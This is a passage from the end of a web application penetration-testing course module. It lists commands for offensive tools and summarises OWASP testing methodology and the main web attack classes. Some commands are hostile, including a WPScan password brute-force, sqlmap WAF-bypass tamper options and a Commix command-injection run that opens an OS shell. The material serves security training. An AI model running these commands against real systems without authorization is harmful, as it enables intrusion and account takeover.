accidentally install a malicious package.</p> <hr> <h3> <a name="6129-additional-web-application-hacking-tools" href="#6129-additional-web-application-hacking-tools" class="anchor"> </a> 6.12.9 Additional Web Application Hacking Tools </h3> <h4> <a name="the-professional-web-application-testing-toolkit" href="#the-professional-web-application-testing-toolkit" class="anchor"> </a> The Professional Web Application Testing Toolkit </h4> <p>Beyond the tools covered throughout Module 6, a comprehensive professional toolkit includes several additional resources worth knowing:</p> <p><strong>ffuf — Fast Web Fuzzer</strong></p> <p>The fastest parameter and content discovery tool available. Outperforms gobuster and dirbuster in both speed and flexibility:</p> <p><code></code>`bash</p> <h1> <a name="directory-discovery" href="#directory-discovery" class="anchor"> </a> Directory discovery: </h1> <p>ffuf -u <a href="https://target.com/FUZZ">https://target.com/FUZZ</a> -w /usr/share/seclists/Discovery/Web-Content/common.txt</p> <h1> <a name="parameter-discovery-find-hidden-get-parameters" href="#parameter-discovery-find-hidden-get-parameters" class="anchor"> </a> Parameter discovery — find hidden GET parameters: </h1> <p>ffuf -u <a href="https://target.com/page?FUZZ=test">https://target.com/page?FUZZ=test</a> -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt</p> <h1> <a name="post-parameter-discovery" href="#post-parameter-discovery" class="anchor"> </a> POST parameter discovery: </h1> <p>ffuf -u <a href="https://target.com/login">https://target.com/login</a> -X POST -d "FUZZ=test" \<br> -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \<br> -H "Content-Type: application/x-www-form-urlencoded"</p> <h1> <a name="virtual-host-discovery" href="#virtual-host-discovery" class="anchor"> </a> Virtual host discovery: </h1> <p>ffuf -u <a href="https://target.com/">https://target.com/</a> -H "Host: FUZZ.target.com" \<br> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt</p> <h1> <a name="filter-by-sizestatus" href="#filter-by-sizestatus" class="anchor"> </a> Filter by size/status: </h1> <p>ffuf -u <a href="https://target.com/FUZZ">https://target.com/FUZZ</a> -w wordlist.txt -fs 4242 -fc 404,403<br> `<code></code></p> <p><strong>Arjun — HTTP Parameter Discovery</strong></p> <p>Discovers hidden parameters in web applications:</p> <p><code></code>`bash<br> pip3 install arjun</p> <h1> <a name="discover-get-parameters" href="#discover-get-parameters" class="anchor"> </a> Discover GET parameters: </h1> <p>arjun -u <a href="https://target.com/page">https://target.com/page</a></p> <h1> <a name="discover-post-parameters" href="#discover-post-parameters" class="anchor"> </a> Discover POST parameters: </h1> <p>arjun -u <a href="https://target.com/api">https://target.com/api</a> -m POST -H "Content-Type: application/json"</p> <h1> <a name="against-all-pages-in-a-site" href="#against-all-pages-in-a-site" class="anchor"> </a> Against all pages in a site: </h1> <p>arjun -u <a href="https://target.com/page1">https://target.com/page1</a> <a href="https://target.com/page2">https://target.com/page2</a> <a href="https://target.com/api">https://target.com/api</a><br> `<code></code></p> <p><strong>Dalfox — XSS Scanner</strong></p> <p>A modern, fast XSS discovery and verification tool:</p> <p><code></code>`bash</p> <h1> <a name="install" href="#install" class="anchor"> </a> Install: </h1> <p>go install github.com/hahwul/dalfox/v2@latest</p> <h1> <a name="basic-scan" href="#basic-scan" class="anchor"> </a> Basic scan: </h1> <p>dalfox url <a href="https://target.com/search?q=test">https://target.com/search?q=test</a></p> <h1> <a name="with-cookie-for-authenticated-testing" href="#with-cookie-for-authenticated-testing" class="anchor"> </a> With cookie for authenticated testing: </h1> <p>dalfox url "<a href="https://target.com/search?q=test">https://target.com/search?q=test</a>" --cookie "session=abc123"</p> <h1> <a name="from-burps-saved-request" href="#from-burps-saved-request" class="anchor"> </a> From Burp's saved request: </h1> <p>dalfox file burp_request.txt</p> <h1> <a name="pipe-urls" href="#pipe-urls" class="anchor"> </a> Pipe URLs: </h1> <p>cat urls.txt | dalfox pipe<br> `<code></code></p> <p><strong>Kiterunner — API Endpoint Discovery</strong></p> <p>Specifically designed for API route discovery using OpenAPI specifications:</p> <p><code></code>`bash</p> <h1> <a name="install" href="#install" class="anchor"> </a> Install: </h1> <p>go install github.com/assetnote/kiterunner@latest</p> <h1> <a name="brute-force-api-routes" href="#brute-force-api-routes" class="anchor"> </a> Brute force API routes: </h1> <p>kr scan <a href="https://target.com/api">https://target.com/api</a> -w routes-small.kite</p> <h1> <a name="using-assetnotes-prebuilt-wordlists" href="#using-assetnotes-prebuilt-wordlists" class="anchor"> </a> Using Assetnote's pre-built wordlists: </h1> <p>kr scan <a href="https://target.com/api">https://target.com/api</a> -w apis.txt</p> <h1> <a name="against-a-list-of-targets" href="#against-a-list-of-targets" class="anchor"> </a> Against a list of targets: </h1> <p>kr scan -w wordlist.txt -i targets.txt<br> `<code></code></p> <p><strong>SQLmap — Advanced Usage for Professional Assessments:</strong></p> <p><code></code>`bash</p> <h1> <a name="beyond-basic-usage-for-complex-scenarios" href="#beyond-basic-usage-for-complex-scenarios" class="anchor"> </a> Beyond basic usage — for complex scenarios: </h1> <h1> <a name="test-with-custom-headers-api-key-authentication" href="#test-with-custom-headers-api-key-authentication" class="anchor"> </a> Test with custom headers (API key authentication): </h1> <p>sqlmap -u "<a href="https://target.com/api/users?id=1">https://target.com/api/users?id=1</a>" \<br> --headers="X-API-Key: your-api-key\nX-User-Id: 1042"</p> <h1> <a name="json-parameter-testing" href="#json-parameter-testing" class="anchor"> </a> JSON parameter testing: </h1> <p>sqlmap -u "<a href="https://target.com/api/search">https://target.com/api/search</a>" \<br> --data='{"query":"test","limit":10}' \<br> --content-type="application/json"</p> <h1> <a name="secondorder-injection-data-stored-then-used-elsewhere" href="#secondorder-injection-data-stored-then-used-elsewhere" class="anchor"> </a> Second-order injection (data stored then used elsewhere): </h1> <p>sqlmap -u "<a href="https://target.com/profile">https://target.com/profile</a>" \<br> --data="bio=test" \<br> --second-url="<a href="https://target.com/admin/users">https://target.com/admin/users</a>"</p> <h1> <a name="using-tamper-scripts-for-waf-bypass" href="#using-tamper-scripts-for-waf-bypass" class="anchor"> </a> Using tamper scripts for WAF bypass: </h1> <p>sqlmap -u "<a href="https://target.com/?id=1">https://target.com/?id=1</a>" \<br> --tamper=space2comment,between,randomcase \<br> --dbs</p> <h1> <a name="all-tamper-scripts" href="#all-tamper-scripts" class="anchor"> </a> All tamper scripts: </h1> <p>ls /usr/share/sqlmap/tamper/<br> `<code></code></p> <p><strong>WPScan — WordPress Security Scanner:</strong></p> <p><code></code>`bash</p> <h1> <a name="wordpress-vulnerability-scanning" href="#wordpress-vulnerability-scanning" class="anchor"> </a> WordPress vulnerability scanning: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a></p> <h1> <a name="with-api-token-for-vulnerability-database" href="#with-api-token-for-vulnerability-database" class="anchor"> </a> With API token for vulnerability database: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> --api-token YOUR_TOKEN</p> <h1> <a name="enumerate-users" href="#enumerate-users" class="anchor"> </a> Enumerate users: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e u</p> <h1> <a name="enumerate-plugins" href="#enumerate-plugins" class="anchor"> </a> Enumerate plugins: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e p --plugins-detection aggressive</p> <h1> <a name="password-attack-on-discovered-users" href="#password-attack-on-discovered-users" class="anchor"> </a> Password attack on discovered users: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -U admin -P /usr/share/wordlists/rockyou.txt</p> <h1> <a name="full-enumeration" href="#full-enumeration" class="anchor"> </a> Full enumeration: </h1> <p>wpscan --url <a href="https://target.com">https://target.com</a> -e ap,at,cb,dbe,u --api-token TOKEN<br> `<code></code></p> <p><strong>XSStrike — Intelligent XSS Testing:</strong></p> <p><code></code>`bash<br> git clone <a href="https://github.com/s0md3v/XSStrike">https://github.com/s0md3v/XSStrike</a><br> cd XSStrike && pip3 install -r requirements.txt</p> <h1> <a name="crawl-and-test-entire-site" href="#crawl-and-test-entire-site" class="anchor"> </a> Crawl and test entire site: </h1> <p>python3 xsstrike.py -u <a href="https://target.com">https://target.com</a> --crawl</p> <h1> <a name="test-specific-parameter" href="#test-specific-parameter" class="anchor"> </a> Test specific parameter: </h1> <p>python3 xsstrike.py -u "<a href="https://target.com/search?q=test">https://target.com/search?q=test</a>"</p> <h1> <a name="post-request-testing" href="#post-request-testing" class="anchor"> </a> POST request testing: </h1> <p>python3 xsstrike.py -u <a href="https://target.com/login">https://target.com/login</a> \<br> --data "username=test&password=test"</p> <h1> <a name="blind-xss-mode" href="#blind-xss-mode" class="anchor"> </a> Blind XSS mode: </h1> <p>python3 xsstrike.py -u "<a href="https://target.com/feedback">https://target.com/feedback</a>" \<br> --data "message=test" --blind<br> `<code></code></p> <p><strong>Commix — Command Injection Testing:</strong></p> <p><code></code>`bash<br> git clone <a href="https://github.com/commixproject/commix">https://github.com/commixproject/commix</a><br> cd commix && python3 commix.py</p> <h1> <a name="test-url-parameter" href="#test-url-parameter" class="anchor"> </a> Test URL parameter: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping?host=127.0.0.1">https://target.com/ping?host=127.0.0.1</a>"</p> <h1> <a name="test-post-parameter" href="#test-post-parameter" class="anchor"> </a> Test POST parameter: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping">https://target.com/ping</a>" \<br> --data="host=127.0.0.1"</p> <h1> <a name="get-reverse-shell" href="#get-reverse-shell" class="anchor"> </a> Get reverse shell: </h1> <p>python3 commix.py --url="<a href="https://target.com/ping?host=127.0.0.1">https://target.com/ping?host=127.0.0.1</a>" \<br> --os-shell<br> `<code></code></p> <hr> <h3> <a name="61210-the-owasp-web-security-testing-guide" href="#61210-the-owasp-web-security-testing-guide" class="anchor"> </a> 6.12.10 The OWASP Web Security Testing Guide </h3> <h4> <a name="what-the-wstg-is-and-why-it-is-the-professional-standard" href="#what-the-wstg-is-and-why-it-is-the-professional-standard" class="anchor"> </a> What the WSTG Is and Why It Is the Professional Standard </h4> <p>The OWASP Web Security Testing Guide (WSTG) is the most comprehensive, peer-reviewed, and widely referenced standard methodology for web application security testing. It provides detailed testing procedures for every category of web vulnerability, organized into a structured framework that ensures comprehensive coverage of the attack surface.</p> <p>Available at: <a href="https://owasp.org/www-project-web-security-testing-guide/">https://owasp.org/www-project-web-security-testing-guide/</a><br> Latest version: WSTG v4.2 (as of 2026)</p> <p>The WSTG organizes testing into twelve categories:</p> <table><thead> <tr> <th>Category Code</th> <th>Category Name</th> <th>Coverage</th> </tr> </thead><tbody> <tr> <td>WSTG-INFO</td> <td>Information Gathering</td> <td>Recon, fingerprinting, application mapping</td> </tr> <tr> <td>WSTG-CONF</td> <td>Configuration Testing</td> <td>Server config, network/infrastructure, HTTP methods</td> </tr> <tr> <td>WSTG-IDNT</td> <td>Identity Management</td> <td>Account enumeration, account policies</td> </tr> <tr> <td>WSTG-ATHN</td> <td>Authentication Testing</td> <td>Password policies, default credentials, lockout</td> </tr> <tr> <td>WSTG-AUTHZ</td> <td>Authorization Testing</td> <td>Path traversal, privilege escalation, IDOR</td> </tr> <tr> <td>WSTG-SESS</td> <td>Session Management Testing</td> <td>Cookie attributes, session fixation, CSRF</td> </tr> <tr> <td>WSTG-INPV</td> <td>Input Validation Testing</td> <td>SQL injection, XSS, command injection, LFI/RFI</td> </tr> <tr> <td>WSTG-ERRH</td> <td>Error Handling</td> <td>Error codes, stack traces</td> </tr> <tr> <td>WSTG-CRYP</td> <td>Cryptography Testing</td> <td>TLS, algorithm strength, key management</td> </tr> <tr> <td>WSTG-BUSL</td> <td>Business Logic Testing</td> <td>Workflow bypass, race conditions</td> </tr> <tr> <td>WSTG-CLNT</td> <td>Client-Side Testing</td> <td>DOM XSS, clickjacking, CORS</td> </tr> <tr> <td>WSTG-APIT</td> <td>API Testing</td> <td>REST, GraphQL, SOAP</td> </tr> </tbody></table> <p><strong>Using the WSTG in practice:</strong></p> <p>For each test case, the WSTG provides:</p> <ul> <li>Objective: what the test aims to detect</li> <li>How to test: step-by-step methodology</li> <li>Tools: specific tools and commands</li> <li>References: relevant CWEs, CVEs, and academic sources</li> <li>Remediation: how to fix the vulnerability</li> </ul> <p>Professional penetration testers use the WSTG as a checklist to ensure no coverage area is missed. At the start of a web application engagement, work through each WSTG category systematically. The WSTG test IDs (e.g., WSTG-INPV-01 for SQL Injection) provide a standard reference that can be cited in reports.</p> <p><strong>The OWASP Testing Framework:</strong></p> <p>The WSTG includes a full engagement framework for web application testing:</p> <ul> <li>Phase 1: Passive reconnaissance (before any interaction with the target)</li> <li>Phase 2: Active reconnaissance (spidering, scanning, active fingerprinting)</li> <li>Phase 3: Vulnerability testing (systematic testing through all WSTG categories)</li> <li>Phase 4: Exploitation (confirming and demonstrating findings)</li> <li>Phase 5: Post-exploitation (understanding impact)</li> <li>Phase 6: Reporting</li> </ul> <hr> <h2> <a name="613-module-6-summary-the-complete-web-application-security-picture" href="#613-module-6-summary-the-complete-web-application-security-picture" class="anchor"> </a> 6.13 Module 6 Summary — The Complete Web Application Security Picture </h2> <h3> <a name="what-module-6-built" href="#what-module-6-built" class="anchor"> </a> What Module 6 Built </h3> <p>Module 6 has constructed a comprehensive, professional understanding of web application security — from the foundational HTTP protocol through the most sophisticated attack chains. This summary consolidates the key insight from each section and shows how they connect into a unified security picture.</p> <h4> <a name="the-foundation-protocol-understanding-section-61" href="#the-foundation-protocol-understanding-section-61" class="anchor"> </a> The Foundation — Protocol Understanding (Section 6.1) </h4> <p>You cannot attack what you do not understand. Section 6.1 established that HTTP is the universal substrate of web attacks — every web vulnerability is ultimately an HTTP vulnerability. Understanding the request-response cycle at the byte level, knowing what every header reveals and conceals, understanding how the browser's handling of cookies creates both functionality and vulnerability, and knowing the precise boundary of what HTTPS protects (the channel) versus what it does not protect (the application) — these form the intellectual foundation upon which every subsequent attack rests.</p> <p>The OWASP Top 10:2021 provided the attack taxonomy: Broken Access Control (A01), Cryptographic Failures (A02), Injection (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable and Outdated Components (A06), Authentication Failures (A07), Software and Data Integrity Failures (A08), Logging and Monitoring Failures (A09), and SSRF (A10).</p> <h4> <a name="the-lab-environment-section-62" href="#the-lab-environment-section-62" class="anchor"> </a> The Lab Environment (Section 6.2) </h4> <p>Professional penetration testing skills are built through practice, not reading alone. A local lab — Kali Linux with DVWA, Metasploitable, and Docker-based vulnerable applications — provides the safe, legal environment where every technique in this module can be practiced repeatedly until it becomes instinct rather than procedure.</p> <h4> <a name="business-logic-the-category-automation-cannot-find-section-63" href="#business-logic-the-category-automation-cannot-find-section-63" class="anchor"> </a> Business Logic — The Category Automation Cannot Find (Section 6.3) </h4> <p>Business logic flaws revealed the most fundamental principle in web application security: <strong>automated tools cannot replace human understanding</strong>. A scanner sees requests and responses. Only a human who understands what the application is supposed to do can recognize when it is doing something it should not — when a discount persists after a cart is modified, when a workflow step can be skipped, when simultaneous requests exploit a race condition, when a quantity of -1 makes logical nonsense that the application processes anyway.</p> <p>The professional approach is the adversarial user perspective: how can legitimate features be used in illegitimate ways?</p> <h4> <a name="injection-the-root-cause-section-64" href="#injection-the-root-cause-section-64" class="anchor"> </a> Injection — The Root Cause (Section 6.4) </h4> <p>Injection vulnerabilities — SQL injection, command injection, LDAP injection — share one root cause: failure to separate code from data. Every injection attack is the same conceptual breach: user data enters a context where it is interpreted as executable code. The fix is always the same: parameterized queries and prepared statements for SQL; subprocess lists (not shell=True) for OS commands; proper LDAP escaping for directory queries.</p> <p>SQL injection's impact scales from data exposure through privilege escalation through file system access through full OS compromise. The attack types — error-based, UNION-based, boolean blind, time-based blind, out-of-band — represent a spectrum from most visible to least visible, matched by escalating detection difficulty.</p> <h4> <a name="authentication-the-identity-layer-section-65" href="#authentication-the-identity-layer-section-65" class="anchor"> </a> Authentication — The Identity Layer (Section 6.5) </h4> <p>Authentication attacks revealed that the session token is the identity. Stealing a session token steals the authenticated identity — bypassing every authentication control that was used to create it. In 2024, the dominant attack pattern is AitM (Adversary-in-the-Middle) phishing that captures session tokens after MFA completion, because the session proves authentication more persistently than any credential.</p> <p>Kerberos vulnerabilities in Active Directory environments expose the fundamental architecture of Windows domain authentication to exploitation: AS-REP Roasting requires only usernames; Kerberoasting requires only domain user credentials; Golden Tickets require only the krbtgt hash — and each represents a different depth of compromise.</p> <h4> <a name="authorization-the-permissions-layer-section-66" href="#authorization-the-permissions-layer-section-66" class="anchor"> </a> Authorization — The Permissions Layer (Section 6.6) </h4> <p>Authorization failures are the most prevalent web vulnerability category (94% of tested applications). The core failure is always the same: the server validates that a user is authenticated (correct role, valid session) but does not validate that this specific user is authorized to access this specific resource.</p> <p>IDOR — Insecure Direct Object Reference — is the most impactful manifestation: changing an ID in a URL from your own to another user's reveals their data without any authentication bypass required. Horizontal privilege escalation accesses other users' data. Vertical privilege escalation accesses higher-privilege functionality. HTTP method manipulation, header injection, and CSP bypass all represent different attack surfaces for the same authorization failure.</p> <h4> <a name="xss-javascript-in-the-wrong-hands-section-67" href="#xss-javascript-in-the-wrong-hands-section-67" class="anchor"> </a> XSS — JavaScript in the Wrong Hands (Section 6.7) </h4> <p>Cross-Site Scripting is not about alert boxes. It is about JavaScript execution in a victim's browser — with access to their session, their data, their credentials, and the ability to make authenticated requests on their behalf. Reflected XSS requires delivery. Stored XSS is persistent and scales. DOM XSS lives entirely in the browser, invisible to server-side detection.</p> <p>XSS evasion techniques — encoding, alternative tags, template literals, CSP bypass through unsafe-inline and whitelisted JSONP — demonstrated that every blacklist-based defense is bypassable. The only reliable XSS defense is context-aware output encoding and a strict CSP with nonces.</p> <h4> <a name="csrf-and-ssrf-forged-requests-section-68" href="#csrf-and-ssrf-forged-requests-section-68" class="anchor"> </a> CSRF and SSRF — Forged Requests (Section 6.8) </h4> <p>CSRF exploits the browser's automatic cookie attachment to forge authenticated requests from a third-party site. The victim's own browser becomes the attack vector. CSRF tokens and SameSite cookies are the primary defenses.</p> <p>SSRF makes the server itself the attack vector — instructing it to make requests to internal resources the attacker cannot reach directly. Cloud metadata services (AWS IMDSv1, Azure IMDS, GCP metadata) are the most impactful SSRF targets: a single successful query returns cloud credentials with broad access. The Capital One breach demonstrated that SSRF in a security product can expose over 100 million records.</p> <h4> <a name="clickjacking-visual-deception-section-69" href="#clickjacking-visual-deception-section-69" class="anchor"> </a> Clickjacking — Visual Deception (Section 6.9) </h4> <p>Clickjacking separates what the user sees from what their clicks accomplish. The X-Frame-Options and CSP <code>frame-ancestors</code> headers are the defenses. Their absence allows any state-changing action triggerable by a single click to be performed through invisible iframe overlay.</p> <h4> <a name="security-misconfigurations-section-610" href="#security-misconfigurations-section-610" class="anchor"> </a> Security Misconfigurations (Section 6.10) </h4> <p>Directory traversal demonstrated that path-based file access without proper restriction allows reading any readable file on the server — escalating through log poisoning to Remote Code Execution. Cookie manipulation showed that the cookie layer's security depends entirely on the security flags applied (<code>HttpOnly</code>, <code>Secure</code>, <code>SameSite</code>) and on the server not trusting user-submitted values that determine identity or privilege.</p> <h4> <a name="file-inclusion-the-execution-chain-section-611" href="#file-inclusion-the-execution-chain-section-611" class="anchor"> </a> File Inclusion — The Execution Chain (Section 6.11) </h4> <p>File inclusion vulnerabilities transform what seems like a file read into a code execution opportunity. Local File Inclusion chains through log poisoning, /proc/self/environ, PHP wrappers, and session file inclusion to achieve RCE. Remote File Inclusion is more direct — when <code>allow_url_include</code> is enabled, hosting a PHP file on your own server and including it via RFI achieves immediate code execution.</p> <p>The php://filter wrapper deserves special mention: it enables reading the source code of any PHP file without executing it — turning an LFI vulnerability into a complete source code disclosure that reveals database credentials, business logic, and hidden vulnerabilities.</p> <h4> <a name="insecure-code-practices-the-human-factor-section-612" href="#insecure-code-practices-the-human-factor-section-612" class="anchor"> </a> Insecure Code Practices — The Human Factor (Section 6.12) </h4> <p>The final section revealed that many of the most impactful vulnerabilities in web applications stem from engineering habits rather than architectural decisions: comments containing credentials, error messages revealing infrastructure details, API keys hard-coded in JavaScript, race conditions in concurrent access to shared resources, APIs that assume only official clients will call them, hidden form fields the server trusts, and missing cryptographic verification of software integrity.</p> <p>These findings require minimal technical exploitation skill — they require observation, pattern recognition, and the habit of looking at everything the application reveals about itself. The attacker who reads source code, triggers intentional errors, examines JavaScript bundle contents, and checks HTTP response headers thoroughly will consistently find critical vulnerabilities that more technically sophisticated testers miss.</p> <h3> <a name="the-unified-view-what-every-web-application-assessment-should-cover" href="#the-unified-view-what-every-web-application-assessment-should-cover" class="anchor"> </a> The Unified View — What Every Web Application Assessment Should Cover </h3> <p>A complete web application security assessment, after Module 6, follows this structure:</p> <p><strong>Passive Analysis:</strong> Examine HTTP responses for security headers, technology disclosure, error handling quality, comment content, cookie flags. Analyze JavaScript bundles for endpoints, API keys, and architectural information.</p> <p><strong>Active Discovery:</strong> Enumerate endpoints via directory brute force, API documentation, and JavaScript analysis. Map every input parameter. Build a complete application flow model.</p> <p><strong>Authentication Testing:</strong> Test login brute force and lockout. Test password reset flows. Analyze session token entropy and security flags. Test session invalidation. Test MFA bypass paths. Check for default credentials.</p> <p><strong>Authorization Testing:</strong> Build a privilege matrix. Test IDOR by enumerating object identifiers. Test vertical privilege escalation by accessing admin endpoints as regular users. Test every HTTP method on every endpoint.</p> <p><strong>Injection Testing:</strong> Test every input parameter for SQL injection (error-based, then blind). Test command injection on functionality suggesting system calls. Test LFI/RFI on file-handling functionality. Check for LDAP injection on directory-backed applications.</p> <p><strong>Client-Side Testing:</strong> Test all reflection points for XSS in correct context. Test multi-step workflows for CSRF vulnerabilities. Test pages for Clickjacking. Analyze JavaScript for DOM XSS sinks.</p> <p><strong>Business Logic Testing:</strong> Map critical workflows. Test step skipping and repetition. Test simultaneous requests on rate-limited or single-use functionality. Test all numeric inputs with boundary values.</p> <p><strong>Infrastructure Testing:</strong> Test for directory traversal. Check for exposed API documentation. Test SSRF on URL-accepting functionality. Validate TLS configuration. Check for exposed admin panels and debug endpoints.</p> <p><strong>This is the complete professional web application security assessment.</strong> Every finding in every category has a direct business impact — from credential theft enabling account takeover, to database compromise enabling mass data exfiltration, to RCE enabling complete infrastructure compromise. Module 6 provided not just the technical knowledge to execute these tests but the conceptual framework to understand why vulnerabilities exist, why defenses succeed or fail, and how to communicate findings in terms of business risk rather than technical details.</p> <hr> <p><em>═══════════════════════════════════════════════════════════</em><br> <em>MODULE 6 — EXPLOITING APPLICATION-BASED VULNERABILITIES</em><br> <em>COMPLETE</em><br> <em>═══════════════════════════════════════════════════════════</em></p>

Top comments (0)